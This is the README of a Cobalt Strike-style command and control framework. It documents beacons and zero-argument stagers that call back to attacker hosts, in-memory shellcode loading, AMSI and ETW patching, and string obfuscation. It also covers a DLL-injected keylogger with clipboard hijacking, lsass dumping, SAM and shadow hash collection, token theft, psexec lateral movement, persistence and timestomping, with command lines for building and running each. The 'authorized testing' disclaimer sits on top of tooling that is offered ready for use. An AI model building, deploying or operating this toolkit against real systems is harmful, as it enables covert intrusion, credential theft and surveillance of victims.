A compact Cobalt Strike-style command & control framework for authorized security testing and red-team labs.
WARNING / DISCLAIMER This tool is provided for educational purposes and for use in environments you are explicitly authorized to test (your own lab, engagements with written permission). Unauthorized use against systems you do not own or control is illegal. The authors take no responsibility for misuse.
- Teamserver — multi-listener, multi-operator (mini CS team server)
- raw TCP beacon listener + HTTP polling beacon listener
- SOCKS5 proxy through a live TCP session
- reverse port forward (
rportfwd), agent-initiated - operator chat (broadcast to all operators)
- per-session notes (synced to every console)
- downloads stored per session (
downloads/<session>/)
- Windows beacon (
agent_win/, mingw-w64) — same wire protocol + crypto as the Linux agent;shell, file ops,ps,sysinfo,getuid,netstat,ipconfig,mounts(drives),screenshot(GDI),keylog(WH_KEYBOARD_LL),clipboard,timestomp,persist(HKCU Run),bof(native COFF loader — no ABI translation needed on Windows), token ops (steal_token/make_token/getsystem/rev2self;shellruns under the held token),psexeclateral movement (remote service + ADMIN$ output harvest), a DNS (TXT) transport (sharedcommon/Dns.cpp), ConPTYinteractiveshells, channel pivoting, and credential collection (hashdump= SAM+SYSTEM hive export, in-memorylsassminidump for offline cracking,creds= Credential Manager enumeration), and hardening: sensitive Win32 APIs are delay-loaded via GetProcAddress (clean import table), key strings are compile-time XOR'ed (xorstr.hpp), and--profilebrings the Malleable C2-lite HTTP shaping to Windows. Further hardening: the embedded RSA public key is compile-time encrypted (no plaintext PEM in the file), the PE carries neutral version resources (version.rcvia windres), anamsitask patches in-process amsi!AmsiScanBuffer + ntdll!EventWrite (lab/authorized use only), andxorstr.hppcovers the remaining high-signal strings, (socksthrough the beacon, agent-siderportfwd), all compiled into the same protocol as the Linux agent. Built withscripts/win-build.sh(requires mingw-w64 + the MSYS2 OpenSSL inbuild/mingw-prefix, seescripts/win-mingw-openssl.sh). - Injected-DLL keylogger (CS-style) —
keylogger [pid]injects a pure-Ckeylog.dllinto a target process (default: explorer, so no window ever appears), captures every keystroke + the foreground window title/process with a WH_KEYBOARD_LL hook, streams them back over a named pipe to the ccore beacon, and relays them to the teamserver asKEYLOG_DATAevents. Also includes a clipboard hijack (1s poll) that tags events ascopy/cut/paste/clip. Managed as a CS-style background job (jobs/jobkill <id>), with clean unload (stop event →FreeLibraryAndExitThread) and zombie self-destruct when the beacon dies. GUI: Kestrel-style Keystrokes table (Time/Process/Window/Type/Keys/ Clipboard) with a session picker + Start/Stop/Clear/Export/Filter toolbar. - Baked (zero-argument) beacons —
tools/bake/c2bakeappends a C2BEA config tail to any beacon image (Linux ELF or Windows PE); the beacon then runs with0CLI arguments by reading its own image tail (Linux/proc/self/exe, WindowsGetModuleFileNameA). The Linux staged zero-arg path (c2stager--bake) already existed — see below. - Agent (beacon) — two transports:
- raw TCP: persistent push channel, low-latency, supports pivoting
- HTTP polling (
http://host:port): beacon-style GET/POST everysleepseconds, auto-reconnect, session expiry on the server - configurable
sleep+ jitter, auto-reconnect - Malleable C2-lite: a shared profile file shapes the HTTP channel (paths, User-Agent, extra headers, optional body XOR), CS Malleable style
- BOF (Beacon Object File): in-beacon execution of x86-64 COFF objects
with a small Beacon* API (+ raw Linux
bofSyscallfunnel),clang --target=x86_64-pc-windows-msvc - Recon / collection batch (pure /proc + libc):
netstat,arp,ipconfig,users,crons,sshkeys,shadow,mounts,getuid,timestomp - Desktop collection:
screenshot(X11 BMP + Wayland helper chain),keylog(XRecord + root evdev),clipboard(X11 selection),getprivs persist— cron persistence planner / installer (CS-style)
- Interactive PTY shell (
interactive, CS-style) — a persistent/bin/sh -ion the target driven by a real pseudo-terminal; session-persistent state (cd, env, history), works over the TCP transport - Operator consoles
c2gui— Qt 6/5 desktop console: session table (with notes), event log + team chat, interactive per-session consoles, remote file browser, upload/download with native file dialogs, interactive-shell tab, Generate Stager / payload dialog (CS style: fetch the stage key from the teamserver and produce a readyc2stagercommand /stager.shlauncher, raw shellcode, or a baked zero-arg beacon viac2bake— Linux or Windows artifact), a VNC desktop viewer, and a Kestrel-style Keystrokes table (Time/Process/Window/Type/Keys/Clipboard with a session picker + Start/Stop/Clear/Export/Filter toolbar for the injected keylogger)c2opctl— pure C++ CLI console (also drives the smoke test);stage-keyprints the current stage key / readyc2stagercommand
- Built-in commands —
shell,ls,cd,pwd,ps,sysinfo,getenv,download,upload,rm,mkdir,cp,mv,scan,sleep,jitter,bof,note,interactive,exit, plus recon:netstat,arp,ipconfig,users,crons,sshkeys,shadow,mounts,getuid,timestomp,persist, plus desktop:screenshot,keylog,clipboard,getprivs
+----------------+ +---------------------------+ +---------------+
| c2gui (Qt) | | teamserver (pure C++) | | agent/beacon |
| presentation |<--->| - agent listener :4444 |<--->| (pure C++) |
| only | | - operator port :5000 | | sleep/jitter, |
+-------+--------+ | - session manager | | task exec |
| +---------------------------+ +---------------+
v ^
+-------+----------------------------+-----+
| c2clientcore (pure C++, no Qt) |
| operator logic: connect, auth, sessions, |
| command dispatch, result/event handling |
+------------------------------------------+
common/— wire protocol (length-prefixed binary TLV frames), RAII sockets, logging, utils. No Qt.server/— teamserver. No Qt. One thread per connection; per-socket write mutexes; broadcasts task results and events to all operators.agent/— beacon. No Qt. Persistent connect-back channel; pushes tasks immediately, heartbeats everysleepinterval, auto-reconnects.agent_win/— Windows beacon + on-demand modules (vnc.dll,int.dll) and the injectedkeylog.dll(see Injected-DLL keylogger below).agent_win/ccore/— slim C core beacon (plain C11, no libstdc++):wire.c(TLV codec),crypto.c(CNG),chan.c(channel relay),klr.c(keylogger injection + pipe relay),jobs.c(background-job table),tasks.c(command dispatch),main.c(TCP beacon loop).clientcore/— all operator-side logic. No Qt. Callback-based API.client/— Qt GUI. Pure presentation:BridgeconvertsClientCorecallbacks into Qt signals (queued across the network thread). Swap this out for any other frontend without touching logic. Tabs include the console, file browser, interactive shell, VNC desktop and the Kestrel-style Keystrokes table.
Requirements: C++20 compiler, CMake >= 3.21, POSIX (Linux/macOS), Qt 6 (or 5) for the GUI — GUI is skipped automatically if Qt is absent.
cmake -B build -DCMAKE_BUILD_TYPE=Release
cmake --build build -jBinaries: build/server/c2teamserver, build/agent/c2agent,
build/tools/c2opctl, build/client/c2gui.
The slim C core beacon (agent_win/ccore/) is built separately with
mingw-w64 (plain C11, no libstdc++):
./scripts/ccore-build.sh # -> build/ccore/ccore.exe (GUI) + ccore-console.exe (debug)The Windows beacon + on-demand modules (vnc.dll, int.dll, keylog.dll)
are cross-compiled with scripts/win-build.sh (needs mingw-w64 + the MSYS2
OpenSSL prefix, see scripts/win-mingw-openssl.sh); module DLLs land in
modules/ and are pushed to beacons by the teamserver's modload.
The teamserver serves the beacon as a two-stage payload like Cobalt Strike:
- Stage 2 = the real beacon ELF (
build/agent/c2agent,--stage-fileto change). At startup the teamserver generates a per-listener AES-256 stage key (or fix it with--stage-key <64hex>) and prints it to the log. - Stage 1 =
build/tools/stager/c2stager, a tiny fetcher that requestsGET /stage(or/api/stage), gets the AES-GCM-sealed beacon, decrypts it and executes it from memory (Linuxmemfd+fexecve— nothing is written to disk, mirroring CS's in-memory reflective load).
# server: print the stage key, serve the beacon ELF over HTTP
./build/server/c2teamserver -p 5000 -P changeme --http-port 8080 --stage-file ./build/agent/c2agent
# attacker box: tiny stager pulls + decrypts + runs the beacon from memory
./build/tools/stager/c2stager http://127.0.0.1:8080 5 --key <stage key hex>
# helper modes
./build/tools/stager/c2stager --fetch http://127.0.0.1:8080 --key <hex> -o stage.bin
./build/tools/stager/c2stager --genstage ./build/agent/c2agent --key <hex> -o stage.binFrom the GUI, click Stager (session table toolbar) to open the generator: it asks the teamserver for the current stage key and can either
- copy the
c2stagercommand / save astager.shlauncher, or - Generate artifact — burn the listener URL + stage key + sleep into a
copy of
c2stager, producing a standalone executable that runs with no arguments on the target (CS "Generate Staged Payload" semantics).
From the CLI the same burn happens with --bake:
./build/tools/stager/c2stager --bake ./build/tools/stager/c2stager \
--url http://1.2.3.4:8080 --sleep 5 --key <64hex> -o stager-linux
# target side, no arguments needed:
./stager-linuxThe baked config lives in a tail block (C2CFG� | url | url_len | sleep | key | total_len); the stager reads its own image (/proc/self/exe) at run
time. --check <file> prints the baked config.
Headless test: ./scripts/stage-test.sh.
Any beacon image — the Linux agent, or the Windows c2agent-win.exe — can be
turned into a zero-argument artifact with tools/bake/c2bake:
./build/tools/bake/c2bake --bake ./build/agent/c2agent --url http://1.2.3.4:8080 \
--sleep 5 --jitter 20 -o ./baked-agent # Linux
./build/tools/bake/c2bake --bake ./build/agent_win/c2agent-win.exe \
--url tcp://1.2.3.4:4444 --sleep 5 -o ./baked-agent.exe # Windows
./build/tools/bake/c2bake --check ./baked-agent # verify the tail config
./baked-agent # zero arguments: reads its own image tail and runsThe C2BEA tail block (magic | url_len | url | sleep | jitter | total_len)
mirrors the c2stager C2CFG block — one mechanism, both platforms. The Linux
staged delivery (c2stager --bake) remains the classic no-arg path there.
Headless tests: ./scripts/bake-test.sh (Linux, real session + shell round
trip) and ./scripts/win-bake-test.sh (Windows: bake + shared-parse round
trip; no wine on this host, so the PE is not executed here).
# 1. teamserver (optional HTTP beacon listener on 8080)
./build/server/c2teamserver -a 4444 -p 5000 -P changeme --http-port 8080
# 2. beacons
./build/agent/c2agent 127.0.0.1 4444 5 # raw TCP (sleep 5s)
./build/agent/c2agent http://127.0.0.1:8080 5 # HTTP polling
# 3. operator GUI
./build/client/c2gui # enter 127.0.0.1:5000 / password
# ...or CLI console
./build/tools/c2opctl 127.0.0.1 5000 operator changeme--shellcode generates a raw x86-64 shellcode blob (~860 bytes, no ELF
header, position-independent, endbr64 for CET/IBT hosts). It embeds the
listener IP:port, stage key, sleep and URL, then on the target:
socket → connect → GET /stage?x=1 → read until EOF → skip HTTP header
→ XOR-decrypt (32-byte key) → memfd_create → write → execveat(AT_EMPTY_PATH)
The teamserver serves the XOR variant at /stage?x=1 (serveStageXor());
the beacon ELF is executed straight from the memfd — nothing written to disk.
# generate (config is patched into the blob at the "CFG200" marker)
./build/tools/stager/c2stager --shellcode --host 1.2.3.4 --port 8080 \
--sleep 5 --key <stage key hex> --base build/tools/shellcode/base.bin \
-o stager-shellcode.bin
# local debug runner (mmap RWX + jump, same as an injector would do)
./build/tools/stager/c2stager --run-shellcode stager-shellcode.binSource: tools/shellcode/stager.S (syscalls only, no libc). For a remote
injector, mmap a RWX page, copy the blob and jump to it — endbr64 at entry
satisfies CET/IBT. --base defaults to build/tools/shellcode/base.bin.
| flag | meaning | default |
|---|---|---|
-a, --agent-port |
TCP beacon listener port | 4444 |
--http-port |
HTTP beacon listener port (0 = off) | 0 |
-p, --op-port |
operator port | 5000 |
-P, --password |
operator password | changeme |
-b, --bind |
bind address | 0.0.0.0 |
-d, --downloads |
download storage dir | ./downloads |
--rsa-key |
RSA private key PEM for the beacon handshake (default: embedded dev key; must match the beacon public key in agent/pubkey.hpp) |
embedded |
--stage-file |
beacon ELF served as the stage payload | agent/c2agent |
--stage-key |
fixed stage AES key (64 hex); default random per run | random |
--profile |
Malleable C2-lite HTTP profile file (shared with HTTP beacons) | off |
Both the teamserver and the HTTP beacon can load the same profile file to shape the HTTP beacon-channel traffic (a tiny cousin of CS Malleable C2):
# profiles/example.profile
user-agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...
register-uri = /api/client/init
task-uri = /api/client/poll
result-uri = /api/client/report
stage-uri = /assets/theme/dark.js
id-param = token
header = Accept: application/json, text/plain, */*
header = X-Requested-With: XMLHttpRequest
body-xor-key = 6b3f1c9de8a45702b1d6c0e3f4a58796 # optional anonymous body XOR./build/server/c2teamserver -p 5000 -P changeme --http-port 8080 \
--stage-file ./build/agent/c2agent --profile profiles/example.profile
./build/agent/c2agent http://127.0.0.1:8080 5 --profile profiles/example.profile- The profile changes the GET/POST paths, the User-Agent, adds headers, and optionally XORs all beacon-channel bodies (on top of the AES-GCM envelope). The stage payload is not XORed — a stager has no profile.
- Legacy aliases (
/task,/api/task,/poll,/stage, …) keep working, so old beacons/stagers are not broken by a profile. - Custom
stage-uriis reported throughstage-key(c2opctl stage-key, GUI Stager dialog) and fetched withc2stager --uri:
./build/tools/stager/c2stager --fetch http://host:8080 --key <64hex> \
--uri /assets/theme/dark.js -o stage.binBaked artifacts and the raw shellcode stager always fetch the default
/stage; regenerate them with an unmodifiedstage-urior use the command/stager.sh form.
Headless test: ./scripts/profile-test.sh.
The beacon loads and executes x86-64 COFF objects in-process — the CS "BOF"
model: a tiny stager-less payload whose only external references resolve to a
built-in Beacon* API table. Demo BOFs:
./scripts/bof-build.sh # clang --target=x86_64-pc-windows-msvc -c -> build/tools/bof/*.oOperator side (GUI console or c2opctl):
upload /tmp/hello.o build/tools/bof/hello.o # drop the object on the target
bof /tmp/hello.o hello-op-77 # run it with args
BeaconPrintf output is returned as the task result. Supported API
(tools/bof/beacon.h — a subset of CS's): BeaconPrintf, BeaconDataParse,
BeaconDataInt, BeaconDataShort, BeaconDataLength, BeaconDataExtract,
plus c2 extensions bofSyscall(nr, a1..a5) (raw Linux syscall funnel —
open/read/write/close/etc., see tools/bof/syscall.c) and bofSleep(ms).
Arguments are packed as NUL-terminated tokens exactly like CS's DataParser.
Limitations of this educational loader: no libc in BOFs (only the Beacon*
API, like real BOFs), BeaconPrintf supports a literal format plus up to two
%s arguments, and the entry symbol must be go(char* args, int len).
Relocations are applied per-section (code with R+X, data R/W) and the
entry runs synchronously in the beacon task worker.
Headless test: ./scripts/bof-test.sh (hello / args / syscall demos).
A CS-style keylogger that injects a pure-C DLL into a target process,
plus a jobs / jobkill management layer for background tasks.
┌──────────────────────────────┐
│ target process (e.g. explorer)│
│ keylog.dll (pure C) │
│ WH_KEYBOARD_LL hook │
│ clipboard hijack (1s poll) │
└──────────────┬───────────────┘
│ named pipe (frames)
▼
┌──────────────────────────────┐
│ ccore beacon (klr.c) │
│ pipe server + reader thread │
│ KEYLOG_DATA frames (sealed) │
└──────────────┬───────────────┘
▼
┌──────────────────────────────┐
│ teamserver → EV_KEYLOG │
│ broadcast to all operators │
└──────────────┬───────────────┘
▼
┌──────────────────────────────┐
│ c2gui Keystrokes table │
│ Time/Process/Window/Type/ │
│ Keys/Clipboard + session picker│
└──────────────────────────────┘
Usage (beacon console or c2gui Keystrokes toolbar):
keylogger # inject into explorer (no new window, captures all fg input)
keylogger <pid> # inject into a specific process
keylogger stop # stop + unload the injected DLL
jobs # list running background jobs (keylogger, VNC)
jobkill <id> # stop a job by id (unloads the injected DLL too)
Architecture & implementation notes:
agent_win/keylog.c— the injected DLL (compiled withgcc -shared, no libstdc++, only KERNEL32/USER32). On injection (kl_connect, resolved by RVA from the target's module base) it:- installs a
WH_KEYBOARD_LLglobal hook (captures every foreground keystroke regardless of the focused window); - reads the foreground window title + process name
(
GetWindowTextW/QueryFullProcessImageNameW) for each event; - runs a clipboard hijack poll (~1s) that tags events
copy/cut/paste(Ctrl+C/X/V detection) orclip(generic content change); - streams frames back over a named pipe (
\\.\pipe\c2kl_<pid>_<n>).
- installs a
agent_win/ccore/klr.c— the injector + relay inside the slim C beacon:- creates the pipe server,
VirtualAllocEx+WriteProcessMemoryaklcfg(pipe name + stop event),CreateRemoteThread(LoadLibraryA)then a secondCreateRemoteThread(kl_connect)(RVA-computed, 64-bit-safe via Toolhelp module enumeration, not the truncatingGetExitCodeThreadtrick); - a reader thread parses frames (streaming, magic-resynced) and forwards
them as
KEYLOG_DATA{ SESSION_ID, DATA, KEYLOG_TITLE, KEYLOG_PROCESS, KEYLOG_TYPE }.
- creates the pipe server,
- Unload & hygiene:
jobkill/keylogger stopset a named stop event → the DLL unhooks andFreeLibraryAndExitThread()s itself (no zombie hook, no locked DLL file);- if the beacon dies, the DLL self-destructs after ~2.5s of failed pipe
writes /
PeekNamedPipeprobes (no lingering hook that would duplicate future captures); - a duplicate-injection guard refuses to inject when the DLL is already resident in the target (restart explorer to clear stale instances).
- Background jobs (
agent_win/ccore/jobs.c) — a tiny job table (jobs_register/jobs_unregister/jobs_list/jobs_kill) with a stop callback per job. The keylogger registers one on start; the VNC server (desktop) registers one too, sojobkillcan stop both.jobsrenders a CS-style table (Job ID Type Description).
GUI (c2gui Keystrokes tab) — Kestrel-style table with columns
Time / Process / Window / Type / Keys / Clipboard:
- toolbar: session picker +
Start/Stop/Clear/Export/Filter; Startinjects into the picked beacon (modload + keylogger),Stopstops; the two buttons are mutually exclusive (Start disabled while running);- consecutive keystrokes in the same window are batched into one row
(
123123→Keys=123123), window/type/gap switches start a new row; - control characters are rendered as tokens (
[enter],[tab], …) so rows stay single-line; - the beacon console also shows a CS-style summary line
(
[ts] [+] received keystrokes from <window> by <user>), throttled per window switch, without stealing focus from the console tab.
Wire: agent→server KEYLOG_DATA (60), server→operators EV_KEYLOG (61),
tags KEYLOG_TITLE (26) / KEYLOG_PROCESS (27) / KEYLOG_TYPE (28,
key|copy|cut|paste|clip). The injected DLL is served by the teamserver via
modload keylog from modules/keylog.dll (built by scripts/win-build.sh).
One-shot recon commands (pure /proc + libc, no spawned helpers — available on
both TCP and HTTP beacons):
netstat TCP/UDP connections + listeners with pid/comm (/proc/net/*)
arp neighbour table (/proc/net/arp)
ipconfig interfaces via getifaddrs + MAC + link state (/sys/class/net)
users live login sessions (utmp)
crons /etc/crontab, /etc/cron.d, spools + systemd .timer declarations
sshkeys ~/.ssh key inventory (types, perms, first line)
shadow /etc/passwd users; /etc/shadow hashes when running as root
mounts /proc/mounts
getuid uid/euid/gid + names + home
timestomp <path> [epoch|now] set atime+mtime (utimensat)
persist [install|remove] cron persistence: dry-run planner by default;
`install` writes a @reboot entry re-launching
this beacon via crontab if available
Headless test: ./scripts/recon-test.sh.
screenshot [path] tries, in order: X11 XGetImage -> BMP (works on X11 and
XWayland), then the helper chain grim (Wayland/wlroots),
gnome-screenshot / spectacle (Wayland desktop portal), import /
scrot / maim, then a raw /dev/fb0 dump. On a Wayland desktop with grim
or a portal helper installed the result is a real desktop capture (verified
here on a live Wayland session).
keylog start|stop captures keystrokes with raw evdev (/dev/input,
preferred, needs root — the only Wayland-native path) or falls back to X11
XRecord (non-root, X11/XWayland clients only; Xvfb's RECORD never delivers,
so automated tests cover the logic + round trip, see scripts/keylog-unit.sh).
Capture appends to a buffer returned by keylog stop.
clipboard [clipboard|primary] reads the X11 selection as UTF-8 text via
XConvertSelection.
Headless tests: ./scripts/desktop-test.sh (Xvfb: pixel-verified screenshot,
keylog round trip, clipboard, getprivs) and ./scripts/keylog-unit.sh
(evdev decode + graceful behavior).
VNC desktop (desktop, Windows/ccore) — an on-demand module
(vnc.dll, libvncserver) runs an RFB server on 127.0.0.1:5900 inside the
beacon; the GUI opens a viewer that tunnels RFB through the teamserver's
vnc <lport> local forward over the C2 channel (no extra port reachable on
the target). desktop stop / jobkill <vnc-job> stops the server AND
unloads the module (FreeLibrary after joining the capture/event
threads), so no code stays resident after teardown.
help command list
shell <cmd> run a command on the target (one-shot)
ls [path] / cd <path> / pwd file system access
getenv dump environment variables
ps list processes (Linux)
sysinfo host info / uptime / cpu / memory (Linux)
interactive open a persistent PTY shell (TCP beacons)
download <path> fetch file from target
upload <dst> [src] push a local file to the target
rm <path> / mkdir <path> delete / create
cp <src> <dst> / mv <s> <d> copy / move on target
scan <hosts> <ports> tcp connect scan (e.g. scan 10.0.0.0/24 22,80,443)
socks <port> SOCKS5 proxy through this session (TCP beacons)
socks stop <port> stop a SOCKS listener
rportfwd <lport> <host> <port> reverse port forward (agent listens, data
piped to target reachable from the teamserver)
rportfwd stop <lport> stop a reverse forward
sleep <seconds> set beacon interval
jitter <percent> set sleep jitter (0-90)
bof <path> [args...] run a COFF Beacon Object File on the target
netstat | arp | ipconfig network recon (connections/neighbours/interfaces)
users | crons | sshkeys login sessions, cron sources, ~/.ssh inventory
shadow | mounts | getuid password db (root), mounts, current identity
getprivs Linux capability sets (CapEff/Prm/Bnd)
screenshot [path] capture the desktop (X11 BMP, grim/portal helpers)
keylog start|stop keystroke capture (root evdev / X11 XRecord)
keylogger [pid] CS-style injected keylogger (Windows beacon/ccore):
injects keylog.dll into the given process (no pid =
explorer) and streams keys + clipboard to the
Keystrokes table; 'keylogger stop' halts it
jobs list running background jobs (CS-style)
jobkill <id> terminate a background job by id (stops the
keylogger / VNC and unloads their DLLs)
clipboard [clipboard|primary] read the X11 selection as text
timestomp <p> [epoch|now] set a file's atime+mtime
persist [install|remove] cron persistence planner / installer (dry-run by default)
note <text> attach a note to this session
exit terminate the session
chat <text> team-wide message (opctl)
help / clear / quit console-local
shell <cmd>is a one-shot command: the agent runs it viapopenand streams back the output (like Cobalt Strike'sshell=cmd /c).interactivegives a real persistent shell: the agent forks/bin/sh -ion a pseudo-terminal and streams raw I/O over the C2 channel. State (cwd, env, terminal echo) persists between commands. In the GUI a dedicated tab opens; inc2opctlstdin lines are forwarded (type\closeto leave). Requires a TCP beacon (channels need the live connection).
Double-click a session row (or select + Interact) in the GUI to open its
console; Files opens the remote file browser for the selected session.
Pivoting commands (socks, rportfwd) only work against TCP beacons;
HTTP beacons see them as errors.
./scripts/smoke.sh # TCP + HTTP beacons, shell/note round trip
./scripts/profile-test.sh # Malleable C2-lite: custom URIs/headers/XOR
./scripts/bof-test.sh # BOF: cross-compile, upload, run, verify output
./scripts/recon-test.sh # recon/collection: netstat..persist round trip
./scripts/desktop-test.sh # desktop: pixel-verified screenshot/keylog/clipboard
./scripts/keylog-unit.sh # keylog capture logic unit test
./scripts/bake-test.sh # zero-arg beacons: c2stager staged + c2bake TCP (real sessions)
./scripts/win-bake-test.sh # Windows baked config carry/parse (compile-level)
# GUI without a display:
QT_QPA_PLATFORM=offscreen ./build/client/c2gui 127.0.0.1 5000 gui changeme 4 \
# optional screenshot: env C2_SCREENSHOT=/tmp/gui.png ...Frames: u32 magic | u32 body_len | u16 msg_type | u16 flags | TLV...
Field: u16 tag | u16 type | u32 len | value (types: u32/u64/str/bytes).
Max frame 64 MiB. See common/include/c2/Protocol.hpp.
Channel security (both transports):
- The beacon generates a fresh AES-256 key per run and wraps it with the
server RSA public key (
agent/pubkey.hpp), sendingAGENT_HELLO(AES_KEY= RSA-OAEP(SHA-256) wrapped key,NONCE+META= AES-256-GCM sealedAGENT_REGISTERmetadata). - The teamserver unwraps the key with its private key (
server/privkey.hppby default,--rsa-keyto override), registers the session and replies withSERVER_HELLO_OK(TCP) /SERVER_REGISTER_OK(HTTP), AES-sealed. - Every frame after the handshake is an
ENCRYPTEDwrapper (NONCE+DATA= AES-256-GCM of the inner frame) — agent <-> teamserver both ways, including HTTP polling bodies.
The legacy plaintext AGENT_REGISTER path is still accepted by the server
for compatibility/debugging.
Keylog events (see Injected-DLL keylogger above):
KEYLOG_DATA(60) — agent→server:SESSION_ID,DATA(keystroke token or clipboard text),KEYLOG_TITLE(26, foreground window title),KEYLOG_PROCESS(27, foreground process name),KEYLOG_TYPE(28,key|copy|cut|paste|clip).EV_KEYLOG(61) — server→operators: the same fields, broadcast to every operator so each GUI Keystrokes table can pick up its sessions.
The injected DLL streams frames over a named pipe to the beacon
(agent_win/ccore/klr.c), which seals each as a KEYLOG_DATA frame; the
server converts it to EV_KEYLOG and broadcasts. The pipe frame header is
u32 magic | u32 len | u8 type (type 1 = keystroke, 2 = status, 3 = clipboard),
payloads are length-prefixed so no string escapes are needed.
- Add a task type: handle it in
agent/main.cpp:executeTask(Linux) /agent_win/ccore/tasks.c:c2c_task_dispatch(slim C core), dispatch it from the consoles viasendCommand(sid, type, ...). - Add a background task: register a job in
agent_win/ccore/jobs.c(jobs_register("kind", desc, stop_cb)) —jobslists it,jobkill <id>invokes your stop callback (seeklr.c/tasks.cVNC job for examples). - Add an on-demand module: build a DLL in
scripts/win-build.sh, drop it inmodules/, load it withmodload <name>— the module exportsmod_*functions that the task dispatcher calls (seevncmod.cpp,intmod.cpp,keylog.c). - Add a transport: implement an accept loop in
server/plus a matching beacon loop inagent/speaking the sameMessageframing (seehttpSession/acceptHttpvshandleAgent). - Session state is transport-agnostic (
SessioninTeamServer.hpp): TCP sessions deliver tasks over the live socket, HTTP sessions queue tasks for the next poll. - The GUI never touches sockets or protocol directly — keep it that way.